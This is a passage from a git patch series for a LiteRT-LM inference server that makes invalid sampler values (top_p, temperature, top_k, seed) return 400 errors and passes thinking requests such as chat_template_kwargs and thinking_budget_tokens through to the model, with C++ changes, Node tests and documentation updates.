LITERT_LM_TEST_MODELS set, "a real model takes top_k 0 and -1 as no limit, and refuses a top_p it cannot take with a 400: " (passes on LFM2.5-230M_int8, gemma-3-270m-it and Qwen3-0.6B). With main.cc as it was, both fail: top_k 0 reaches the runtime as 0, and LFM2.5-230M_int8 answers {"top_k": 0} with the 500 above; and with 64 as the GPU's no limit and a 400 above it, the stand-in test fails on GPU. No existing test changed. Not run on a device: that the GPU sampler takes a top_k such as 100, and the vocabulary's size for no limit; one it cannot take would fail the request with the runtime's error. --- BUILDING-ENGINES.md | 6 ++- .../litert-lm-server/model-settings.test.mjs | 44 +++++++++++++++++++ engines/litert-lm-server/src/main.cc | 33 ++++++++++++-- 3 files changed, 79 insertions(+), 4 deletions(-) diff --git a/BUILDING-ENGINES.md b/BUILDING-ENGINES.md index f47c2f9..2ec4af8 100644 --- a/BUILDING-ENGINES.md +++ b/BUILDING-ENGINES.md @@ -390,7 +390,11 @@ k, which its sampler clamps to the vocabulary; on GPU the model's vocabulary siz logits), and the server logs it once per model. The CPU sampler implements only TOP_P, so a model whose own type is TOP_K gets TOP_P with p 1. On NPU, and for an Artisan text decoder on GPU (which LiteRT-LM runs as GPU_ARTISAN; Gemma 4's `-gpu` bundles have one), nothing is set unless -the request sets a field, as before: LiteRT-LM leaves sampling to the model there. +the request sets a field, as before: LiteRT-LM leaves sampling to the model there. A `top_k` of 0 +or below means no top-k limit, as in llama.cpp (TurboLLM's Top K 0 means disabled), and one above +0 is passed as set, on GPU too, where LiteRT-LM 0.18.0 sets no limit of its own; a `top_p` +outside 0 to 1, a negative `temperature`, and a `top_k` or `seed` with a fraction are a 400 that +names the field instead of the runtime's 500. **The library is loaded with `dlopen(RTLD_LOCAL)`, not linked**, and the server's own C++ runtime is static and unexported. `liblitert-lm.so` carries its own statically linked C++ diff --git a/engines/litert-lm-server/model-settings.test.mjs b/engines/litert-lm-server/model-settings.test.mjs index ab50153..e23b10b 100644 --- a/engines/litert-lm-server/model-settings.test.mjs +++ b/engines/litert-lm-server/model-settings.test.mjs @@ -412,3 +412,47 @@ for (const path of realModels.length ? realModels : ['']) { } }) } + +test('top_k 0 or below is no top-k limit, and a sampler value the runtime cannot take is a 400 that names it', { skip, timeout: 60_000 }, async () => { + const k = async (request, backend = 'cpu') => (await samplerFor(fake, { model: `${readable('sampler-topp')},${backend}`, messages: hello, ...request }))?.top_k + assert.equal(await k({ top_k: 0 }), NO_LIMIT) + assert.equal(await k({ top_k: -1, temperature: 0.7 }), NO_LIMIT) + assert.equal(await k({ top_k: 40.0 }), 40) + // On GPU no limit is the model's vocabulary, and a top_k above 0 is used as set: LiteRT-LM sets no limit there. + const gpu = async (request) => (await samplerFor(fake, { model: `${readable('plain-vocabulary')},gpu`, messages: hello, ...request }))?.top_k + assert.equal(await gpu({ top_k: 0 }), 32000) + assert.equal(await gpu({ top_k: 65 }), 65) + assert.equal(await gpu({ top_k: 100000 }), 100000) + const lines = await logged(fake) + assert.equal(lines.filter((l) => l === 'top_k 0 is no top-k limit: top_k 2147483647 for sampler-topp.litertlm (the CPU sampler takes the whole vocabulary)').length, 1, fake.stderr) + assert.ok(lines.includes('top_k 0 is no top-k limit: top_k 32000 for plain-vocabulary.litertlm (its vocabulary)'), fake.stderr) + const refused = async (request, backend = 'cpu') => { + const reply = await chat(fake, { model: `${readable('sampler-topp')},${backend}`, messages: hello, ...request }) + assert.equal(reply.status, 400, JSON.stringify(request)) + return reply.error + } + assert.equal(await refused({ top_p: 1.5 }), 'Invalid sampler parameters: ValueError: top_p must be between 0 and 1, got 1.5') + assert.equal(await refused({ top_p: -0.1 }), 'Invalid sampler parameters: ValueError: top_p must be between 0 and 1, got -0.1') + assert.equal(await refused({ temperature: -1 }), 'Invalid sampler parameters: ValueError: temperature must be at least 0, got -1') + assert.equal(await refused({ top_k: 2.5 }), 'Invalid sampler parameters: ValueError: top_k must be an integer, got 2.5') + assert.equal(await refused({ seed: 1.5 }), 'Invalid sampler parameters: ValueError: seed must be an integer, got 1.5') + assert.equal(await refused({ seed: 1e12 }), 'Invalid sampler parameters: ValueError: seed must be an integer, got 1000000000000') +}) + +for (const path of realModels.length ? realModels : ['']) { + test(`a real model takes top_k 0 and -1 as no limit, and refuses a top_p it cannot take with a 400: ${path}`, { skip: skipReal, timeout: 900_000 }, async () => { + const config = join(work, 'no-cache.json') + writeFileSync(config, JSON.stringify({ default: { cache: 'no' } })) + const server = await startServer(binary, { ...process.env, LITERT_LM_LIBRARY: realLibrary }, ['--config', config]) + try { + const ask = (extra) => chat(server, { model: `${path},cpu`, messages: [{ role: 'user', content: 'Say hello.' }], max_completion_tokens: 8, ...extra }, 300_000) + for (const extra of [{ top_k: 0 }, { top_k: -1, temperature: 0.7 }]) { + const reply = await ask(extra) + assert.equal(reply.status, 200, `${JSON.stringify(extra)}: ${reply.error}`) + } + for (const extra of [{ top_p: 1.5 }, { temperature: -1 }]) assert.equal((await ask(extra)).status, 400, JSON.stringify(extra)) + } finally { + stopServer(server) + } + }) +} diff --git a/engines/litert-lm-server/src/main.cc b/engines/litert-lm-server/src/main.cc index f794e8e..0cce4c3 100644 --- a/engines/litert-lm-server/src/main.cc +++ b/engines/litert-lm-server/src/main.cc @@ -58,6 +58,7 @@ #include #include #include +#include #include #include #include @@ -1397,7 +1398,20 @@ std::optional SamplingFor(const json& body, const ModelFileInfo& model if (has("temperature")) s.temperature = body["temperature"].get(); if (has("top_p")) s.top_p = body["top_p"].get(); if (has("top_k")) { - s.top_k = body["top_k"].get(); + const int k = static_cast(body["top_k"].get()); + if (k <= 0) { + s.top_k = NoTopKLimit(backend, model); + static std::set told; + if (told.insert(model_id + "," + backend).second) { + const char* what = s.top_k != INT32_MAX ? " (its vocabulary)" + : backend == "cpu" ? " (the CPU sampler takes the whole vocabulary)" + : " (its vocabulary is unknown)"; + Log("top_k " + std::to_string(k) + " is no top-k limit: top_k " + std::to_string(s.top_k) + " for " + model_id + + what); + } + } else { + s.top_k = k; // as set, on GPU too (see NoTopKLimit) + } } else if (s.top_k == 1 && ((has("temperature") && s.temperature > 0) || (has("top_p") && s.top_p < 1))) { // k 1 picks the likeliest token whatever the temperature or top_p, so the request's would have no effect: the // model's default here is greedy decoding, and the request asks to sample. It gets no top-k limit. @@ -1411,7 +1425,7 @@ std::optional SamplingFor(const json& body, const ModelFileInfo& model } } if (has("seed")) { - s.seed = body["seed"].get(); + s.seed = static_cast(body["seed"].get()); } else { // The CPU sampler seeds std::default_random_engine (minstd_rand0) with it, which takes 0 and 1 alike, so the // range starts at 1; each conversation seeds its own generator (CreateNewContext). @@ -1539,7 +1553,10 @@ void HandleChatCompletions(int fd, const Request& req) { max_tokens = body["max_completion_tokens"].get(); } - // openai_chat_completions.parse_sampler_config + // openai_chat_completions.parse_sampler_config. A value the runtime cannot take is the request's mistake, a 400 that + // names the field: it was a 500 with the runtime's words ("INVALID_ARGUMENT: p must be in [0, 1].", "Temperature + // must be >= 0"), and a top_k or seed with a fraction was cut to an integer. top_k 0 or below is no top-k limit, + // as in llama.cpp (TurboLLM's Top K 0 means disabled; vLLM uses -1): see SamplingFor. bool has_sampler = false; for (const char* k : {"temperature", "top_p", "top_k", "seed"}) { if (body.contains(k) && !body[k].is_null()) { @@ -1547,6 +1564,16 @@ void HandleChatCompletions(int fd, const Request& req) { SendError(fd, req, 400, std::string("Invalid sampler parameters: ValueError: ") + k + " must be a number"); return; } + const double v = body[k].get(); + const bool integral = std::isfinite(v) && v == std::floor(v) && v >= INT32_MIN && v <= INT32_MAX; + std::string why; + if (std::string(k) == "temperature" && !(v >= 0)) why = "temperature must be at least 0"; + if (std::string(k) == "top_p" && !(v >= 0 && v <= 1)) why = "top_p must be between 0 and 1"; + if ((std::string(k) == "top_k" || std::string(k) == "seed") && !integral) why = std::string(k) + " must be an integer"; + if (!why.empty()) { + SendError(fd, req, 400, "Invalid sampler parameters: ValueError: " + why + ", got " + body[k].dump()); + return; + } has_sampler = true; } } From 61b6cdd39c4578175d43ff269d1d22a1239bfbf8 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sat, 24 Oct 2026 20:01:40 +0000 Subject: [PATCH 71/80] fix(litert-lm-server): thinking follows what the request asks A thinking model could not be told to stop thinking, nor be given a budget, the way TurboLLM and most clients ask. The server read only the top-level reasoning_effort and the config's thinking keys (openai_common.parse_thinking_config, as the Python server), and sent every message with an empty extra context, so chat_template_kwargs (enable_thinking, reasoning_effort, preserve_thinking: what the daemon's chat, title, memory and compaction requests send) and thinking_budget_tokens were dropped. LiteRT-LM renders a message's extra context into the model's Jinja template (CreateOptionalArgs in c/conversation.cc, 0.18.0) and enforces a thinking budget while it decodes (ThinkingBudgetConstraint, runtime/core/tasks.cc). On Qwen3-0.6B, "What is 2+3? Answer briefly." thought for 190 tokens with {"chat_template_kwargs": {"enable_thinking": false}}, with {"thinking_budget_tokens": 0} and with {"thinking_budget_tokens": 16} alike; only reasoning_effort "none" turned it off. And a request to think sent to a model that cannot was dropped without a word. Older bug: origin/main has it (the same ParseThinking and the empty extra context). - engines/litert-lm-server/src/main.cc: the first of these that says decides: the top-level reasoning_effort (the Python server's, and what the daemon sends for a LiteRT-LM model), chat_template_kwargs.enable_thinking, chat_template_kwargs .reasoning_effort, thinking_budget_tokens (0 off, n > 0 a budget of n, below 0 no budget), then the config's thinking keys; a budget n > 0 also applies when another field turned thinking on, and one that is overruled is said in the log. reasoning_effort's levels other than none turn thinking on with no budget, and none turns it off, as in the Python server. chat_template_kwargs is the template's extra context, for the preface and for the message, with its enable_thinking set to what was decided, since the template reads that in place of the thinking config (conversation.cc), so the template and the decoder agree. The server now reads from the model's LlmMetadata whether it says it thinks (supports_thinking, absent from most files), whether its template has the enable_thinking switch (Qwen3's and Gemma 4's) and whether it has a channel. A model that does not think (its metadata says so, or it has neither the switch nor a channel: gemma-3-270m-it) gets a 400 for thinking on ("Invalid thinking parameters: reasoning_effort turns thinking on, but gemma-3-270m-it.litertlm does not think"), and thinking off is left out there. That 400 is decided from the file's header before anything loads, as an image for a model without vision is, so the model loaded before stays loaded (decided after the load, gemma-3-270m-it with reasoning_effort "high" first replaced the loaded model and got its 400 after 0.6 s); a file whose header the server cannot read gets it once the runtime has loaded it. A model whose file does not say and whose template has no switch but has a channel gets what was asked as asked: nothing in such a file tells one that never thinks (LFM2.5-230M) from one that always does (LFM2.5-1.2B-Thinking), whose files say the same, so a 400 for one would refuse the other. The server says so once per model in its log and, since a client sees nothing of that log, in every such reply's X-Thinking header ("unverified"), streamed or not; SendJson and SendResponse take extra headers for it. chat_template_kwargs that is not an object, an enable_thinking that is not a boolean and a thinking_budget_tokens that is not an integer are 400s. - src/litert_lm_api.h: resolves litert_lm_conversation_config_set_extra_context. - testdata/harness.mjs: request() and chat() also return the reply's headers. - BUILDING-ENGINES.md: says so under "What the server is". Behaviour change: on Qwen3-0.6B the same question now thinks for 0 tokens with enable_thinking false or thinking_budget_tokens 0 (9 completion tokens), for 29 tokens in all with a budget of 16, and as before with no field or with reasoning_effort "high" (190 completion tokens with no field and seed 1; with no seed the count now varies from request to request, 175 to 248 in three requests here, and 180 with "high"). The chat_template_kwargs a client sends reach the template (LFM2's preserve_thinking among them). Thinking on for a model that cannot think (gemma-3-270m-it) is a 400, before it loads. For a file that does not say and has a thinking channel but no switch (LFM2.5-230M and LFM2.5-1.2B-Thinking among them), it is passed as asked, logged once, and the reply carries X-Thinking: unverified. Tests: in engines/litert-lm-server/model-settings.test.mjs, against the stand-in library, which now logs each conversation's thinking config and extra context and each message's extra context: "every way a request asks for thinking reaches the model, and the template is told what the decoder is", "thinking on for a model that does not think is a 400, and off changes nothing there" (nothing is loaded for the 400, and the model loaded before stays loaded) and "a thinking request to a model whose file does not say whether it thinks is answered with X-Thinking: unverified"; with LITERT_LM_TEST_LIBRARY and LITERT_LM_TEST_MODELS set, "a real model does not think when the request turns thinking off: "; and with LITERT_LM_TEST_THINKING_MODELS set, "a real model thinks when asked, within the budget it is given: ". With main.cc as it was, the three stand-in tests fail (the second also with the 400 decided after the load, which loads the model; the third gets no X-Thinking header), and on Qwen3-0.6B both real ones (it thinks with enable_thinking false, and for 398 chunks on a budget of 16); the off test passes on LFM2.5-230M_int8 and gemma-3-270m-it either way, neither of which thinks. Changed existing helper: testdata/harness.mjs's request() and chat() also return the reply's headers. Not run with LFM2.5-1.2B-Thinking (not downloaded here): LiteRT-LM 0.18.0 cannot stop a model that thinks with no template switch (a budget of 0 sets no constraint), so thinking off does not reach it. --- BUILDING-ENGINES.md | 17 ++ .../litert-lm-server/model-settings.test.mjs | 145 +++++++++++++++- engines/litert-lm-server/src/litert_lm_api.h | 1 + engines/litert-lm-server/src/main.cc | 160 +++++++++++++++--- .../testdata/fake_litert_lm.cc | 21 ++- engines/litert-lm-server/testdata/harness.mjs | 4 +- 6 files changed, 324 insertions(+), 24 deletions(-) diff --git a/BUILDING-ENGINES.md b/BUILDING-ENGINES.md index 2ec4af8..d3f6753 100644 --- a/BUILDING-ENGINES.md +++ b/BUILDING-ENGINES.md @@ -396,6 +396,23 @@ or below means no top-k limit, as in llama.cpp (TurboLLM's Top K 0 means disable outside 0 to 1, a negative `temperature`, and a `top_k` or `seed` with a fraction are a 400 that names the field instead of the runtime's 500. +**Thinking is asked for the ways clients ask for it.** In order, the first that says: the +top-level `reasoning_effort` (what the Python server reads, and what the daemon sends for a +LiteRT-LM model), `chat_template_kwargs.enable_thinking`, +`chat_template_kwargs.reasoning_effort`, then `thinking_budget_tokens` (0 is off, n > 0 a budget +of n tokens, which also applies when another field turned thinking on), then the config's +`thinking` keys. `chat_template_kwargs` is passed to the model's template as its extra context, +with the `enable_thinking` decided above so that the template and the decoder's budget agree, +and its other keys (`preserve_thinking`, which LFM2's template reads) as sent. A model that does +not think (its metadata says so, or it has neither the template's switch nor a thinking channel: +gemma-3-270m-it) gets a 400 for thinking on, and thinking off changes nothing there. A model +whose file does not say and whose template has no switch, but that has a thinking channel +(LFM2.5-230M, which does not think, and LFM2.5-1.2B-Thinking, which always does; LFM2-700M's and +LFM2.5-350M's say they do not), gets the request's thinking as asked: LiteRT-LM 0.18.0 cannot +stop such a model from thinking (a budget of 0 sets no constraint), and nothing in the file tells +the two apart, so a 400 for one would refuse the other. The server logs that once, and every such +reply carries `X-Thinking: unverified`, since a client sees nothing of the server's log. + **The library is loaded with `dlopen(RTLD_LOCAL)`, not linked**, and the server's own C++ runtime is static and unexported. `liblitert-lm.so` carries its own statically linked C++ runtime and *exports* it; when the server was linked against the library, the linker diff --git a/engines/litert-lm-server/model-settings.test.mjs b/engines/litert-lm-server/model-settings.test.mjs index e23b10b..7d7a7c3 100644 --- a/engines/litert-lm-server/model-settings.test.mjs +++ b/engines/litert-lm-server/model-settings.test.mjs @@ -11,7 +11,8 @@ // LITERT_LM_TEST_LIBRARY= LITERT_LM_TEST_MODELS=[,...] \ // node --test engines/litert-lm-server/model-settings.test.mjs // (an LFM2 one: litert-community/LFM2.5-230M on Hugging Face; a Gemma one: litert-community/gemma-3-270m-it). -// LITERT_LM_TEST_VISION_MODELS (the same form) names models that take images (litert-community/LFM2.5-VL-450M). +// LITERT_LM_TEST_VISION_MODELS (the same form) names models that take images (litert-community/LFM2.5-VL-450M), and +// LITERT_LM_TEST_THINKING_MODELS models whose template switches thinking on and off (litert-community/Qwen3-0.6B). // Every server a test starts is killed by pid when that test ends, or at the latest when the tests end. Every wait is // bounded. import assert from 'node:assert/strict' @@ -26,6 +27,9 @@ import { } from './testdata/harness.mjs' const visionModels = (process.env.LITERT_LM_TEST_VISION_MODELS ?? '').split(',').filter(Boolean) +const thinkingModels = (process.env.LITERT_LM_TEST_THINKING_MODELS ?? '').split(',').filter(Boolean) +const skipThinking = skip || (!realLibrary || !thinkingModels.length + ? 'set LITERT_LM_TEST_LIBRARY and LITERT_LM_TEST_THINKING_MODELS to run the server on models that think' : false) const skipVision = skip || (!realLibrary || !visionModels.length ? 'set LITERT_LM_TEST_LIBRARY and LITERT_LM_TEST_VISION_MODELS to run the server on models that take images' : false) @@ -456,3 +460,142 @@ for (const path of realModels.length ? realModels : ['']) { } }) } + +// LlmMetadata for a stand-in that thinks or not: supports_thinking (field 11), a Jinja template (7) and a channel (8). +const thinkingMetadata = ({ flag, template, channel }) => ({ + type: 5, + bytes: Buffer.concat([ + ...(flag === undefined ? [] : [proto.varint(11, flag ? 1 : 0)]), + ...(template ? [proto.field(7, template)] : []), + ...(channel ? [proto.field(8, [proto.field(1, 'thought'), proto.field(2, ''), proto.field(3, '')])] : []), + ]), +}) +const switchTemplate = "{%- if enable_thinking is defined and not enable_thinking -%}{%- endif -%}" +// What the conversation and its message were created with: its thinking config and the template's extra context. +async function thinkingFor(server, body) { + const log = await callsDuring(async () => { + const reply = await chat(server, body) + assert.equal(reply.status, 200, reply.error) + }) + const config = log.filter((c) => c.call === 'conversation_create').at(-1).config + const sent = log.filter((c) => c.call === 'send_message').at(-1) + return { thinking: config.thinking ?? null, preface: config.extra_context ?? null, message: sent.extra_context } +} + +test('every way a request asks for thinking reaches the model, and the template is told what the decoder is', { skip, timeout: 60_000 }, async () => { + const model = litertlmFile(join(work, 'switch.litertlm'), [thinkingMetadata({ template: switchTemplate, channel: true })]) + const ask = (request) => thinkingFor(fake, { model, messages: hello, ...request }) + const on = { enable: true, budget: -1 } + const off = { enable: false, budget: 0 } + assert.deepEqual(await ask({}), { thinking: null, preface: null, message: {} }) + assert.deepEqual((await ask({ reasoning_effort: 'none' })).thinking, off) + for (const level of ['minimal', 'low', 'medium', 'high', 'xhigh']) assert.deepEqual((await ask({ reasoning_effort: level })).thinking, on) + assert.deepEqual(await ask({ chat_template_kwargs: { enable_thinking: false } }), + { thinking: off, preface: { enable_thinking: false }, message: { enable_thinking: false } }) + assert.deepEqual(await ask({ chat_template_kwargs: { enable_thinking: true, preserve_thinking: true } }), + { thinking: on, preface: { enable_thinking: true, preserve_thinking: true }, message: { enable_thinking: true, preserve_thinking: true } }) + assert.deepEqual((await ask({ chat_template_kwargs: { reasoning_effort: 'low' } })).thinking, on) + assert.deepEqual((await ask({ chat_template_kwargs: { reasoning_effort: 'none' } })).thinking, off) + assert.deepEqual((await ask({ thinking_budget_tokens: 0 })).thinking, off) + assert.deepEqual((await ask({ thinking_budget_tokens: 256 })).thinking, { enable: true, budget: 256 }) + assert.deepEqual((await ask({ reasoning_effort: 'medium', thinking_budget_tokens: 128 })).thinking, { enable: true, budget: 128 }) + // The top-level reasoning_effort comes first, and the template is told the same. + assert.deepEqual(await ask({ reasoning_effort: 'none', chat_template_kwargs: { enable_thinking: true } }), + { thinking: off, preface: { enable_thinking: false }, message: { enable_thinking: false } }) + const refused = async (request) => { + const reply = await chat(fake, { model, messages: hello, ...request }) + assert.equal(reply.status, 400, JSON.stringify(request)) + return reply.error + } + assert.equal(await refused({ chat_template_kwargs: 'enable_thinking=false' }), 'Invalid thinking parameters: ValueError: chat_template_kwargs must be an object') + assert.equal(await refused({ chat_template_kwargs: { enable_thinking: 'no' } }), 'Invalid thinking parameters: ValueError: chat_template_kwargs.enable_thinking must be a boolean') + assert.equal(await refused({ thinking_budget_tokens: 1.5 }), 'Invalid thinking parameters: ValueError: thinking_budget_tokens must be an integer') + assert.match(await refused({ chat_template_kwargs: { reasoning_effort: 'max' } }), /^Invalid thinking parameters: ValueError: Invalid chat_template_kwargs.reasoning_effort value: 'max'/) +}) + +test('thinking on for a model that does not think is a 400, and off changes nothing there', { skip, timeout: 60_000 }, async () => { + const none = litertlmFile(join(work, 'no-thinking.litertlm'), [thinkingMetadata({ template: '{{ messages }}' })]) + const saysNo = litertlmFile(join(work, 'says-no.litertlm'), [thinkingMetadata({ flag: false, template: switchTemplate, channel: true })]) + const saysYes = litertlmFile(join(work, 'says-yes.litertlm'), [thinkingMetadata({ flag: true })]) + const unknown = litertlmFile(join(work, 'channel-only.litertlm'), [thinkingMetadata({ template: '{{ messages }}', channel: true })]) + for (const [path, why] of [[none, 'no-thinking.litertlm does not think'], [saysNo, 'says-no.litertlm does not think (its metadata says so)']]) { + // Refused before it loads: the model loaded before stays loaded. + assert.equal((await chat(fake, { model: saysYes, messages: hello })).status, 200) + for (const [request, from] of [[{ reasoning_effort: 'high' }, 'reasoning_effort'], [{ chat_template_kwargs: { enable_thinking: true } }, 'chat_template_kwargs.enable_thinking'], [{ thinking_budget_tokens: 64 }, 'thinking_budget_tokens']]) { + const log = await callsDuring(async () => { + const reply = await chat(fake, { model: path, messages: hello, ...request }) + assert.deepEqual(reply, { status: 400, error: `Invalid thinking parameters: ${from} turns thinking on, but ${why}` }) + }) + assert.deepEqual(settingsOf(log), [], `${basename(path)} was loaded for ${JSON.stringify(request)}`) + } + assert.deepEqual(settingsOf(await callsDuring(async () => { + assert.equal((await chat(fake, { model: saysYes, messages: hello })).status, 200) + })), [], 'the model loaded before was released') + for (const request of [{ reasoning_effort: 'none' }, { thinking_budget_tokens: 0 }]) assert.equal((await thinkingFor(fake, { model: path, messages: hello, ...request })).thinking, null) + } + assert.deepEqual((await thinkingFor(fake, { model: saysYes, messages: hello, reasoning_effort: 'high' })).thinking, { enable: true, budget: -1 }) + for (let i = 0; i < 2; i++) assert.deepEqual((await thinkingFor(fake, { model: unknown, messages: hello, reasoning_effort: 'high' })).thinking, { enable: true, budget: -1 }) + const lines = await logged(fake) + assert.equal(lines.filter((l) => l.startsWith('channel-only.litertlm does not say whether it thinks')).length, 1, fake.stderr) + assert.ok(lines.includes('channel-only.litertlm does not say whether it thinks, and its template has no switch for it; thinking on (reasoning_effort) is passed to it as asked'), fake.stderr) + assert.equal(lines.some((l) => l.startsWith('says-yes.litertlm does not say')), false) +}) + +test('a thinking request to a model whose file does not say whether it thinks is answered with X-Thinking: unverified', { skip, timeout: 60_000 }, async () => { + const unknown = litertlmFile(join(work, 'channel-only-note.litertlm'), [thinkingMetadata({ template: '{{ messages }}', channel: true })]) + const saysYes = litertlmFile(join(work, 'says-yes-note.litertlm'), [thinkingMetadata({ flag: true })]) + const switched = litertlmFile(join(work, 'switch-note.litertlm'), [thinkingMetadata({ template: switchTemplate, channel: true })]) + const note = async (model, request, stream = false) => { + const reply = await chat(fake, { model, messages: hello, stream, ...request }) + assert.equal(reply.status, 200, reply.error) + return reply.headers.get('x-thinking') + } + // Thinking on or off, streamed or not: the server could not tell whether the model does it. + for (const stream of [false, true]) { + assert.equal(await note(unknown, { reasoning_effort: 'high' }, stream), 'unverified') + assert.equal(await note(unknown, { chat_template_kwargs: { enable_thinking: false } }, stream), 'unverified') + } + // Not without a thinking request, nor for a model that says it thinks or whose template switches it. + assert.equal(await note(unknown, {}), null) + assert.equal(await note(saysYes, { reasoning_effort: 'high' }), null) + assert.equal(await note(switched, { reasoning_effort: 'none' }), null) +}) + +for (const path of realModels.length ? realModels : ['']) { + test(`a real model does not think when the request turns thinking off: ${path}`, { skip: skipReal, timeout: 900_000 }, async () => { + const config = join(work, 'no-cache.json') + writeFileSync(config, JSON.stringify({ default: { cache: 'no' } })) + const server = await startServer(binary, { ...process.env, LITERT_LM_LIBRARY: realLibrary }, ['--config', config]) + try { + for (const off of [{ chat_template_kwargs: { enable_thinking: false } }, { thinking_budget_tokens: 0 }, { reasoning_effort: 'none' }]) { + const reply = await chat(server, { model: `${path},cpu`, messages: [{ role: 'user', content: 'What is 2+3? Answer briefly.' }], max_completion_tokens: 64, seed: 1, ...off }, 300_000) + assert.equal(reply.status, 200, `${JSON.stringify(off)}: ${reply.error}`) + assert.equal(reply.reasoning, '', `${JSON.stringify(off)} thought: ${reply.reasoning}`) + assert.ok(reply.content, `${JSON.stringify(off)}: no answer`) + } + } finally { + stopServer(server) + } + }) +} + +for (const path of thinkingModels.length ? thinkingModels : ['']) { + test(`a real model thinks when asked, within the budget it is given: ${path}`, { skip: skipThinking, timeout: 900_000 }, async () => { + const config = join(work, 'no-cache.json') + writeFileSync(config, JSON.stringify({ default: { cache: 'no' } })) + const server = await startServer(binary, { ...process.env, LITERT_LM_LIBRARY: realLibrary }, ['--config', config]) + try { + const ask = (extra) => chat(server, { model: `${path},cpu`, messages: [{ role: 'user', content: 'What is 17 times 23?' }], max_completion_tokens: 400, seed: 1, ...extra }, 300_000) + const on = await ask({ chat_template_kwargs: { enable_thinking: true } }) + assert.equal(on.status, 200, on.error) + assert.ok(on.reasoning.length > 0, 'no thinking') + const budgeted = await ask({ thinking_budget_tokens: 16 }) + assert.equal(budgeted.status, 200, budgeted.error) + assert.ok(budgeted.reasoning.length > 0, 'no thinking') + assert.ok(budgeted.usage.completion_tokens_details.reasoning_tokens <= 24, `thought ${budgeted.usage.completion_tokens_details.reasoning_tokens} chunks for a budget of 16`) + assert.ok(budgeted.usage.completion_tokens_details.reasoning_tokens < on.usage.completion_tokens_details.reasoning_tokens) + } finally { + stopServer(server) + } + }) +} diff --git a/engines/litert-lm-server/src/litert_lm_api.h b/engines/litert-lm-server/src/litert_lm_api.h index 992bcf2..1a0e479 100644 --- a/engines/litert-lm-server/src/litert_lm_api.h +++ b/engines/litert-lm-server/src/litert_lm_api.h @@ -30,6 +30,7 @@ X(litert_lm_conversation_config_delete) \ X(litert_lm_conversation_config_set_constraint_provider) \ X(litert_lm_conversation_config_set_enable_constrained_decoding) \ + X(litert_lm_conversation_config_set_extra_context) \ X(litert_lm_conversation_config_set_messages) \ X(litert_lm_conversation_config_set_session_config) \ X(litert_lm_conversation_config_set_thinking_config) \ diff --git a/engines/litert-lm-server/src/main.cc b/engines/litert-lm-server/src/main.cc index 0cce4c3..e9dc389 100644 --- a/engines/litert-lm-server/src/main.cc +++ b/engines/litert-lm-server/src/main.cc @@ -309,6 +309,11 @@ struct ModelFileInfo { bool artisan = false; // The number of logits its decode signature outputs: its vocabulary. 0 when unknown. int vocabulary = 0; + // What LlmMetadata says about thinking: its supports_thinking (field 11, absent from most files: LFM2.5-230M, + // Qwen3-0.6B, Gemma 4), whether its Jinja template has the enable_thinking switch (Qwen3's and Gemma 4's do), and + // whether it has a channel, the thinking one being the first (Conversation::CreateDecodeConfig). + std::optional supports_thinking; + bool thinking_switch = false, channel = false; }; // Bounds-checked reads of a FlatBuffer of `size` bytes, through `read`: just what the server needs of the header's @@ -453,6 +458,14 @@ void ReadSampler(const std::string& llm_metadata, ModelFileInfo& info) { }); } +void ReadThinking(const std::string& llm_metadata, ModelFileInfo& info) { + ForEachProtoField(llm_metadata, [&](int field, uint64_t v, const std::string& bytes) { + if (field == 11) info.supports_thinking = v != 0; + if (field == 7) info.thinking_switch = bytes.find("enable_thinking") != std::string::npos; + if (field == 8) info.channel = true; + }); +} + // What the server needs of the model's main TFLite graph (a tflite::Model FlatBuffer: subgraphs 2, signature_defs 7; // SignatureDef inputs 0, outputs 1, signature_key 2, subgraph_index 4; TensorMap name 0, tensor_index 1; SubGraph // tensors 0; Tensor shape 0), read through `m` where it lies in the file, a few tables of it and never the whole: the @@ -570,7 +583,10 @@ ModelFileInfo ReadModelFileInfo(std::ifstream& in, const std::string& header) { continue; } info.recurrent_state |= HasRecurrentState(type, proto); - if (type == 5) ReadSampler(proto, info); + if (type == 5) { + ReadSampler(proto, info); + ReadThinking(proto, info); + } } if (main_end > main_begin) { const FbReader model{[&in, main_begin](uint64_t pos, void* out, size_t n) { @@ -1083,20 +1099,21 @@ std::string CrossSiteRefusal(const Request& req) { } bool SendResponse(int fd, const Request& req, int status, const std::string& reason, const std::string& content_type, - const std::string& body) { + const std::string& body, const std::string& extra_headers = "") { std::string head = "HTTP/1.1 " + std::to_string(status) + " " + SafeReason(reason) + "\r\n"; head += std::string("Server: ") + kServerName + "/" + kServerVersion + "\r\n"; head += "Content-Type: " + content_type + "\r\n"; head += "Content-Length: " + std::to_string(body.size()) + "\r\n"; head += "Connection: close\r\n"; + head += extra_headers; head += CorsHeaders(req); head += "\r\n"; return SendAll(fd, head + body); } -bool SendJson(int fd, const Request& req, int status, const json& j) { +bool SendJson(int fd, const Request& req, int status, const json& j, const std::string& extra_headers = "") { return SendResponse(fd, req, status, ReasonFor(status), "application/json", - j.dump(2, ' ', false, json::error_handler_t::replace) + "\n"); + j.dump(2, ' ', false, json::error_handler_t::replace) + "\n", extra_headers); } // Python's send_error: the message is the status line's reason phrase. The body is an @@ -1327,20 +1344,79 @@ LiteRtLmThinkingConfig* MakeThinking(bool enable, int budget) { return t; } -// openai_common.parse_thinking_config: reasoning_effort wins; otherwise the config's thinking keys. -std::optional> ParseThinking(const json& body, const ModelConfig& mc) { - if (body.contains("reasoning_effort") && !body["reasoning_effort"].is_null()) { - if (!body["reasoning_effort"].is_string()) throw HttpError(400, "Invalid thinking parameters: ValueError: reasoning_effort must be a string"); - std::string e = Lower(body["reasoning_effort"].get()); - if (e == "none") return std::make_pair(false, 0); - if (e == "minimal" || e == "low" || e == "medium" || e == "high" || e == "xhigh") return std::make_pair(true, -1); - throw HttpError(400, "Invalid thinking parameters: ValueError: Invalid reasoning_effort value: '" + e + +// Thinking as a request asks for it. The server read only the top-level reasoning_effort and the config's thinking +// keys (openai_common.parse_thinking_config), and passed an empty extra context with every message, so what TurboLLM +// and other clients send was dropped: chat_template_kwargs (enable_thinking, reasoning_effort, preserve_thinking), +// which LiteRT-LM renders into the model's Jinja template as extra context (c/conversation.cc, CreateOptionalArgs), and +// thinking_budget_tokens, whose budget the runtime enforces (ThinkingBudgetConstraint, runtime/core/tasks.cc). On +// Qwen3-0.6B {"chat_template_kwargs": {"enable_thinking": false}} and {"thinking_budget_tokens": 0} both thought for +// 190 tokens; only reasoning_effort "none" turned it off. In order, the first that says: the top-level +// reasoning_effort (as the Python server, and what the daemon sends for a LiteRT-LM model), then +// 